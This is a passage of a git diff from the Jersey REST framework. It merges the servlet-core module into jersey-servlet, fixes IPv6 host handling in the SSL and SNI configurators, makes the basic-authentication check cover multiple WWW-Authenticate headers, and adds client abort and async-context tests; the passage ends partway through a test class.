- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/init/internal/localization.properties b/containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/init/internal/localization.properties
deleted file mode 100644
index 6f1b074..0000000
--- a/containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/init/internal/localization.properties
+++ /dev/null
@@ -1,24 +0,0 @@
-#
-# Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-jersey.app.mapping.conflict=Mapping conflict. A Servlet registration exists with same mapping as the Jersey servlet application, named {0}, at the servlet mapping, {1}.
-jersey.app.no.mapping=The Jersey servlet application, named {0}, has no servlet mapping.
-jersey.app.no.mapping.or.annotation=The Jersey servlet application, named {0}, is not annotated with {1} and has no servlet mapping.
-jersey.app.registered.classes=Registering the Jersey servlet application, named {0}, with the following root resource and provider classes: {1}
-jersey.app.registered.mapping=Registering the Jersey servlet application, named {0}, at the servlet mapping {1}, with the Application class of the same name.
-jersey.app.registered.application=Registering the Jersey servlet application, named {0}, with the Application class of the same name.
-servlet.async.context.already.started=Servlet request has been put into asynchronous mode by an external force. \
-  Proceeding with the existing AsyncContext instance, but cannot guarantee the correct behavior of JAX-RS AsyncResponse time-out support.
diff --git a/containers/jersey-servlet-core/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties b/containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties
similarity index 69%
rename from containers/jersey-servlet-core/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties
rename to containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties
index 4250a68..19d624d 100644
--- a/containers/jersey-servlet-core/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties
+++ b/containers/jersey-servlet/src/main/resources/org/glassfish/jersey/servlet/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,3 +32,12 @@
 filter.context.path.missing=The root of the app was not properly defined. Either use a Servlet 3.x container or add \
   an init-param 'jersey.config.servlet.filter.contextPath' to the filter configuration. Due to Servlet 2.x API, Jersey cannot \
   determine the request base URI solely from the ServletContext. The application will most likely not work.
+
+jersey.app.mapping.conflict=Mapping conflict. A Servlet registration exists with same mapping as the Jersey servlet application, named {0}, at the servlet mapping, {1}.
+jersey.app.no.mapping=The Jersey servlet application, named {0}, has no servlet mapping.
+jersey.app.no.mapping.or.annotation=The Jersey servlet application, named {0}, is not annotated with {1} and has no servlet mapping.
+jersey.app.registered.classes=Registering the Jersey servlet application, named {0}, with the following root resource and provider classes: {1}
+jersey.app.registered.mapping=Registering the Jersey servlet application, named {0}, at the servlet mapping {1}, with the Application class of the same name.
+jersey.app.registered.application=Registering the Jersey servlet application, named {0}, with the Application class of the same name.
+servlet.async.context.already.started=Servlet request has been put into asynchronous mode by an external force. \
+  Proceeding with the existing AsyncContext instance, but cannot guarantee the correct behavior of JAX-RS AsyncResponse time-out support.
diff --git a/containers/jersey-servlet/src/test/java/org/glassfish/jersey/servlet/async/AsyncContextClosedTest.java b/containers/jersey-servlet/src/test/java/org/glassfish/jersey/servlet/async/AsyncContextClosedTest.java
new file mode 100644
index 0000000..220d832
--- /dev/null
+++ b/containers/jersey-servlet/src/test/java/org/glassfish/jersey/servlet/async/AsyncContextClosedTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.servlet.async;
+
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+import org.glassfish.jersey.servlet.internal.ResponseWriter;
+import org.junit.jupiter.api.Test;
+
+import jakarta.servlet.AsyncContext;
+import jakarta.servlet.AsyncListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+public class AsyncContextClosedTest {
+    @Test
+    public void testClosedAsyncContext() {
+        List<AsyncListener> asyncListeners = new ArrayList<>(1);
+        AsyncContext async = (AsyncContext) Proxy.newProxyInstance(getClass().getClassLoader(),
+                new Class[]{AsyncContext.class}, new InvocationHandler() {
+                    @Override
+                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+                        switch (method.getName()) {
+                            case "addListener":
+                                asyncListeners.add((AsyncListener) args[0]);
+                                break;
+                            case "complete":
+                                asyncListeners.forEach((asyncListener -> {
+                                    try {
+                                        asyncListener.onComplete(null);
+                                    } catch (IOException e) {
+                                        throw new RuntimeException(e);
+                                    }
+                                }));
+                        }
+                        return null;
+                    }
+                });
+
+        HttpServletRequest request = (HttpServletRequest) Proxy.newProxyInstance(getClass().getClassLoader(),
+                new Class[]{HttpServletRequest.class}, new InvocationHandler() {
+                    boolean asyncStarted = false;
+
+                    @Override
+                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+                        switch (method.getName()) {
+                            case "isAsyncStarted":
+                                return asyncStarted;
+                            case "startAsync":
+                                asyncStarted = true;
+                                return async;
+                            case "getAsyncContext":
+                                return async;
+
+                        }
+                        return null;
+                    }
+                });
+
+        HttpServletResponse response = (HttpServletResponse) Proxy.newProxyInstance(getClass().getClassLoader(),
+                new Class[]{HttpServletResponse.class}, new InvocationHandler() {
+                    @Override
+                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+                        return null;
+                    }
+                });
+
+        // Create writer
+        ResponseWriter writer = new ResponseWriter(false, false, response,
+                new AsyncContextDelegateProviderImpl().createDelegate(request, response),
+                Executors.newSingleThreadScheduledExecutor());
+        writer.suspend(10, TimeUnit.SECONDS, new ContainerResponseWriter.TimeoutHandler() {
+            @Override
+            public void onTimeout(ContainerResponseWriter responseWriter) {
+                throw new IllegalStateException();
+            }
+        });
+        // Simulate completion by the Servlet Container;
+        request.getAsyncContext().complete();
+        // Check write is ignored
+        writer.writeResponseStatusAndHeaders(10, null);
+    }
+}
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index a574869..97f9267 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -39,11 +39,6 @@
             <version>${project.version}</version>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
         </dependency>
diff --git a/containers/jetty-servlet/src/main/java/module-info.txt b/containers/jetty-servlet/src/main/java/module-info.txt
index 271084c..894f892 100644
--- a/containers/jetty-servlet/src/main/java/module-info.txt
+++ b/containers/jetty-servlet/src/main/java/module-info.txt
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,7 @@
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.container.jetty.http;
-    requires static org.glassfish.jersey.container.servlet.core;
+    requires static org.glassfish.jersey.container.servlet;
 
     exports org.glassfish.jersey.jetty.servlet;
 }
\ No newline at end of file
diff --git a/containers/pom.xml b/containers/pom.xml
index 2320f6a..4b20f53 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -38,7 +38,6 @@
         <module>grizzly2-http</module>
         <module>grizzly2-servlet</module>
         <module>jdk-http</module>
-        <module>jersey-servlet-core</module>
         <module>jersey-servlet</module>
         <module>jetty-http</module>
         <module>jetty-http2</module>
@@ -82,4 +81,16 @@
         </dependency>
     </dependencies>
 
+    <profiles>
+        <profile>
+            <id>helidon-container</id>
+            <activation>
+                <jdk>[21,)</jdk>
+            </activation>
+            <modules>
+                <module>helidon</module>
+            </modules>
+        </profile>
+    </profiles>
+
 </project>
diff --git a/core-client/pom.xml b/core-client/pom.xml
index cf4d1a6..247356c 100644
--- a/core-client/pom.xml
+++ b/core-client/pom.xml
@@ -181,6 +181,12 @@
         </dependency>
 
         <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
             <groupId>org.glassfish.jersey.inject</groupId>
             <artifactId>jersey-hk2</artifactId>
             <version>${project.version}</version>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
index 93bdca8..4e1a46b 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.client;
 
+import org.glassfish.jersey.innate.io.SafelyClosable;
 import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
@@ -30,7 +31,7 @@
 
 import jakarta.ws.rs.core.Configuration;
 
-class ClientMessageBodyFactory extends MessageBodyFactory {
+class ClientMessageBodyFactory extends MessageBodyFactory implements SafelyClosable {
 
     /**
      * Keep reference to {@link ClientRuntime} so that {@code finalize} on it is not called
@@ -40,7 +41,7 @@
      * but if the finalizer is invoked before that, the HK2 injection manager gets closed.
      * </p>
      */
-    private final LazyValue<ClientRuntime> clientRuntime;
+    private LazyValue<ClientRuntime> clientRuntime;
 
     /**
      * Create a new message body factory.
@@ -53,6 +54,11 @@
         clientRuntime = Values.lazy(clientRuntimeValue);
     }
 
+    @Override
+    public void close() {
+        clientRuntime = null;
+    }
+
     /**
      * Configurator which initializes and register {@link MessageBodyWorkers} instance into {@link InjectionManager} and
      * {@link BootstrapBag}.
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientResponse.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientResponse.java
index 9491741..698fb39 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientResponse.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientResponse.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
 import java.net.URI;
 import java.util.Collections;
 import java.util.Map;
@@ -62,8 +63,12 @@
      * @param response       JAX-RS response to be used to initialize the response context.
      */
     public ClientResponse(final ClientRequest requestContext, final Response response) {
-        this(response.getStatusInfo(), requestContext);
-        this.headers(OutboundJaxrsResponse.from(response, requestContext.getConfiguration()).getContext().getStringHeaders());
+        super(requestContext.getConfiguration(),
+                OutboundJaxrsResponse.from(response, requestContext.getConfiguration()).getContext().getStringHeaders(),
+                false
+        );
+        this.requestContext = requestContext;
+        init(response.getStatusInfo(), requestContext, requestContext.getUri());
 
         final Object entity = response.getEntity();
         if (entity != null) {
@@ -77,18 +82,19 @@
                         ByteArrayOutputStream baos = new ByteArrayOutputStream();
                         OutputStream stream = null;
                         try {
-                            try {
-                                stream = requestContext.getWorkers().writeTo(
-                                        entity, entity.getClass(), null, null, response.getMediaType(),
-                                        response.getMetadata(), requestContext.getPropertiesDelegate(), baos,
-                                        Collections.<WriterInterceptor>emptyList());
-                            } finally {
-                                if (stream != null) {
-                                    stream.close();
-                                }
-                            }
+                            final Type t = response instanceof OutboundJaxrsResponse
+                                    ? ((OutboundJaxrsResponse) response).getContext().getEntityType()
+                                    : null;
+                            stream = requestContext.getWorkers().writeTo(
+                                    entity, entity.getClass(), t, null, response.getMediaType(),
+                                    response.getMetadata(), requestContext.getPropertiesDelegate(), baos,
+                                    Collections.<WriterInterceptor>emptyList());
                         } catch (IOException e) {
                             // ignore
+                        } finally {
+                            if (stream != null) {
+                                stream.close();
+                            }
                         }
 
                         byteArrayInputStream = new ByteArrayInputStream(baos.toByteArray());
@@ -120,10 +126,13 @@
      */
     public ClientResponse(Response.StatusType status, ClientRequest requestContext, URI resolvedRequestUri) {
         super(requestContext.getConfiguration());
+        this.requestContext = requestContext;
+        init(status, requestContext, resolvedRequestUri);
+    }
+
+    private void init(Response.StatusType status, ClientRequest requestContext, URI resolvedRequestUri) {
         this.status = status;
         this.resolvedUri = resolvedRequestUri;
-        this.requestContext = requestContext;
-
         setWorkers(requestContext.getWorkers());
     }
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/authentication/BasicAuthenticator.java b/core-client/src/main/java/org/glassfish/jersey/client/authentication/BasicAuthenticator.java
index 9637066..d38fc2b 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/authentication/BasicAuthenticator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/authentication/BasicAuthenticator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,8 +17,8 @@
 package org.glassfish.jersey.client.authentication;
 
 import java.util.Base64;
+import java.util.List;
 import java.util.Locale;
-import java.util.logging.Level;
 import java.util.logging.Logger;
 
 import jakarta.ws.rs.client.ClientRequestContext;
@@ -96,20 +96,22 @@
      * @throws ResponseAuthenticationException in case that basic credentials missing or are in invalid format
      */
     public boolean filterResponseAndAuthenticate(ClientRequestContext request, ClientResponseContext response) {
-        final String authenticate = response.getHeaders().getFirst(HttpHeaders.WWW_AUTHENTICATE);
-        if (authenticate != null && authenticate.trim().toUpperCase(Locale.ROOT).startsWith("BASIC")) {
-            HttpAuthenticationFilter.Credentials credentials = HttpAuthenticationFilter
-                    .getCredentials(request, defaultCredentials, HttpAuthenticationFilter.Type.BASIC);
-
-            if (credentials == null) {
-                if (response.hasEntity()) {
-                    AuthenticationUtil.discardInputAndClose(response.getEntityStream());
-                }
-                throw new ResponseAuthenticationException(null, LocalizationMessages.AUTHENTICATION_CREDENTIALS_MISSING_BASIC());
-            }
-
-            return HttpAuthenticationFilter.repeatRequest(request, response, calculateAuthentication(credentials));
+        final List<String> authHeaders = response.getHeaders().get(HttpHeaders.WWW_AUTHENTICATE);
+        if (authHeaders == null || authHeaders.size() == 0 || authHeaders.stream()
+                .noneMatch(h -> h != null && h.toUpperCase(Locale.ROOT).startsWith("BASIC"))) {
+            return false;
         }
-        return false;
+
+        HttpAuthenticationFilter.Credentials credentials = HttpAuthenticationFilter
+                .getCredentials(request, defaultCredentials, HttpAuthenticationFilter.Type.BASIC);
+
+        if (credentials == null) {
+            if (response.hasEntity()) {
+                AuthenticationUtil.discardInputAndClose(response.getEntityStream());
+            }
+            throw new ResponseAuthenticationException(null, LocalizationMessages.AUTHENTICATION_CREDENTIALS_MISSING_BASIC());
+        }
+
+        return HttpAuthenticationFilter.repeatRequest(request, response, calculateAuthentication(credentials));
     }
 }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
index 79dc60e..67d4a63 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,12 +20,14 @@
 import org.glassfish.jersey.client.ClientRequest;
 import org.glassfish.jersey.http.HttpHeaders;
 import org.glassfish.jersey.internal.PropertiesResolver;
+import org.glassfish.jersey.internal.guava.InetAddresses;
 
 import javax.net.ssl.SSLEngine;
 import javax.net.ssl.SSLParameters;
 import javax.net.ssl.SSLSocket;
 import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.UriBuilder;
+import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.net.URI;
 import java.net.UnknownHostException;
@@ -233,7 +235,9 @@
         String host = uri.getHost();
         try {
             InetAddress ip = InetAddress.getByName(host);
-            return UriBuilder.fromUri(uri).host(ip.getHostAddress()).build();
+            // ipv6 is expected in square brackets in UriBuilder#host()
+            final String hostAddress = ip instanceof Inet6Address ? '[' + ip.getHostAddress() + ']' : ip.getHostAddress();
+            return UriBuilder.fromUri(uri).host(hostAddress).build();
         } catch (UnknownHostException e) {
             return uri;
         }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
index baf1c28..4bd2856 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -60,7 +60,10 @@
     static Optional<SniConfigurator> createWhenHostHeader(URI hostUri, String sniHost, boolean whenDiffer) {
         final String trimmedHeader;
         if (sniHost != null) {
-            int index = sniHost.indexOf(':'); // RFC 7230  Host = uri-host [ ":" port ] ;
+            int index = sniHost.lastIndexOf(':'); // RFC 7230  Host = uri-host [ ":" port ] ;
+            if (sniHost.indexOf(']', index) != -1) {
+                index = -1; // beware of ipv6 [:1] without port
+            }
             final String trimmedHeader0 = index != -1 ? sniHost.substring(0, index).trim() : sniHost.trim();
             trimmedHeader = trimmedHeader0.isEmpty() ? sniHost : trimmedHeader0;
         } else {
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java b/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java
new file mode 100644
index 0000000..974cbe9
--- /dev/null
+++ b/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java
@@ -0,0 +1,349 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.EntityPart;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.Priorities;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.Link;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import jakarta.ws.rs.core.Variant;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.ReaderInterceptor;
+import jakarta.ws.rs.ext.ReaderInterceptorContext;
+import jakarta.ws.rs.ext.RuntimeDelegate;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AbortTest {
+    private static final String TEXT_CSV = "text/csv";
+    private static final String TEXT_HEADER = "text/header";
+    private static final String EXPECTED_CSV = "hello;goodbye\nsalutations;farewell";
+    private static final List<List<String>> CSV_LIST = Arrays.asList(
+            Arrays.asList("hello", "goodbye"),
+            Arrays.asList("salutations", "farewell")
+    );
+    private final String entity = "HI";
+    private final String header = "CUSTOM_HEADER";
+
+
+    @Test
+    void testAbortWithGenericEntity() {
+        Client client = ClientBuilder.newBuilder()
+                .register(AbortRequestFilter.class)
+                .register(CsvWriter.class)
+                .build();
+        String csvString = client.target("http://localhost:8080")
+                .request(TEXT_CSV)
+                .get(String.class);
+        assertEquals(EXPECTED_CSV, csvString);
+        client.close();
+    }
+
+    public static class AbortRequestFilter implements ClientRequestFilter {
+
+        @Override
+        public void filter(ClientRequestContext requestContext) {
+            requestContext.abortWith(Response.ok(new GenericEntity<List<List<String>>>(CSV_LIST) {
+            }).type(TEXT_CSV).build());
+        }
+    }
+
+    @Produces(TEXT_CSV)
+    public static class CsvWriter implements MessageBodyWriter<List<List<String>>> {
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return List.class.isAssignableFrom(type) && genericType instanceof ParameterizedType
+                    && ((ParameterizedType) genericType).getActualTypeArguments()[0] instanceof ParameterizedType
+                    && String.class.equals(((ParameterizedType) ((ParameterizedType) genericType).getActualTypeArguments()[0])
+                        .getActualTypeArguments()[0]);
+        }
+
+        @Override
+        public void writeTo(List<List<String>> csvList, Class<?> type, Type genericType, Annotation[] annotations,
+                            MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+                throws IOException, WebApplicationException {
+            List<String> rows = new ArrayList<>();
+            for (List<String> row : csvList) {
+                rows.add(String.join(";", row));
+            }
+            String csv = String.join("\n", rows);
+
+            entityStream.write(csv.getBytes(StandardCharsets.UTF_8));
+            entityStream.flush();
+        }
+    }
+
+    @Test
+    void testAbortWithMBWWritingHeaders() {
+        try (Response response = ClientBuilder.newClient().register(new ClientRequestFilter() {
+            @Override
+            public void filter(ClientRequestContext requestContext) throws IOException {
+                requestContext.abortWith(Response.ok(entity, TEXT_HEADER).build());
+            }
+        }).register(new MessageBodyWriter<String>() {
+
+            @Override
+            public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+                return mediaType.toString().equals(TEXT_HEADER);
+            }
+
+            @Override
+            public void writeTo(String s, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                                MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream) throws IOException,
+                    WebApplicationException {
+                httpHeaders.add(header, entity);
+                entityStream.write(s.getBytes());
+            }
+        }, Priorities.USER - 1).target("http://localhost:8080").request().get()) {
+            Assertions.assertEquals(entity, response.readEntity(String.class));
+            Assertions.assertEquals(entity, response.getHeaderString(header));
+        }
+    }
+
+    @Test
+    void testInterceptorHeaderAdd() {
+        final String header2 = "CUSTOM_HEADER_2";
+
+        try (Response response = ClientBuilder.newClient().register(new ClientRequestFilter() {
+            @Override
+            public void filter(ClientRequestContext requestContext) throws IOException {
+                requestContext.abortWith(Response.ok().entity(entity).build());
+            }
+        }).register(new ReaderInterceptor() {
+                    @Override
+                    public Object aroundReadFrom(ReaderInterceptorContext context) throws IOException, WebApplicationException {
+                        MultivaluedMap<String, String> headers = context.getHeaders();
+                        headers.put(header, Collections.singletonList(entity));
+                        headers.add(header2, entity);
+                        return context.proceed();
+                    }
+                })
+                .target("http://localhost:8080").request().get()) {
+            Assertions.assertEquals(entity, response.readEntity(String.class));
+            Assertions.assertEquals(entity, response.getHeaderString(header));
+            Assertions.assertEquals(entity, response.getHeaderString(header2));
+        }
+    }
+
+    @Test
+    void testInterceptorHeaderIterate() {
+        final AtomicReference<String> originalHeader = new AtomicReference<>();
+
+        try (Response response = ClientBuilder.newClient().register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        requestContext.abortWith(Response.ok().header(header, header).entity(entity).build());
+                    }
+                }).register(new ReaderInterceptor() {
+                    @Override
+                    public Object aroundReadFrom(ReaderInterceptorContext context) throws IOException, WebApplicationException {
+                        MultivaluedMap<String, String> headers = context.getHeaders();
+                        Iterator<Map.Entry<String, List<String>>> it = headers.entrySet().iterator();
+                        while (it.hasNext()) {
+                            Map.Entry<String, List<String>> next = it.next();
+                            if (header.equals(next.getKey())) {
+                                originalHeader.set(next.setValue(Collections.singletonList(entity)).get(0));
+                            }
+                        }
+                        return context.proceed();
+                    }
+                })
+                .target("http://localhost:8080").request().get()) {
+            Assertions.assertEquals(entity, response.readEntity(String.class));
+            Assertions.assertEquals(entity, response.getHeaderString(header));
+            Assertions.assertEquals(header, originalHeader.get());
+        }
+    }
+
+    @Test
+    void testNullHeader() {
+        final AtomicReference<String> originalHeader = new AtomicReference<>();
+        RuntimeDelegate.setInstance(new StringHeaderRuntimeDelegate(RuntimeDelegate.getInstance()));
+        try (Response response = ClientBuilder.newClient().register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        requestContext.abortWith(Response.ok()
+                                .header(header, new StringHeader())
+                                .entity(entity).build());
+                    }
+                }).register(new ClientResponseFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext)
+                            throws IOException {
+                        originalHeader.set(responseContext.getHeaderString(header));
+                    }
+                })
+                .target("http://localhost:8080").request().get()) {
+            Assertions.assertEquals(entity, response.readEntity(String.class));
+            Assertions.assertEquals("", originalHeader.get());
+        }
+    }
+
+    @Test
+    public void testResponseContextCaseInsensitiveKeys() {
+        try (Response response = ClientBuilder.newClient()
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        requestContext.abortWith(Response.ok()
+                                .header("header1", "value")
+                                .header("header1", "value1 , value2")
+                                .header("header1", "Value3,white space ")
+                                .header("header2", "Value4;;Value5")
+                                .build());
+                    }
+                })
+                .register(new ClientResponseFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext, ClientResponseContext context) {
+                        Assertions.assertTrue(context.getHeaderString("header1").contains("value"));
+                        Assertions.assertTrue(context.getHeaderString("HEADER1").contains("value2"));
+                        //White space in value not trimmed
+                        Assertions.assertFalse(context.getHeaderString("header1").contains("whitespace"));
+                        //Multiple character separator
+                        Assertions.assertTrue(context.getHeaderString("header2").contains("Value5"));
+
+                        Assertions.assertTrue(context.getHeaders().containsKey("HEADer1"));
+                        Assertions.assertFalse(context.getHeaders().get("HEADer1").isEmpty());
+                        Assertions.assertFalse(context.getHeaders().remove("HeAdEr1").isEmpty());
+                        Assertions.assertFalse(context.getHeaders().containsKey("header1"));
+                    }
+                })
+                .target("http://localhost:8080")
+                .request()
+                .get()) {
+            Assertions.assertEquals(200, response.getStatus());
+        }
+    }
+
+    private static class StringHeader extends AtomicReference<String> {
+
+    }
+
+    private static class StringHeaderDelegate implements RuntimeDelegate.HeaderDelegate<StringHeader> {
+        @Override
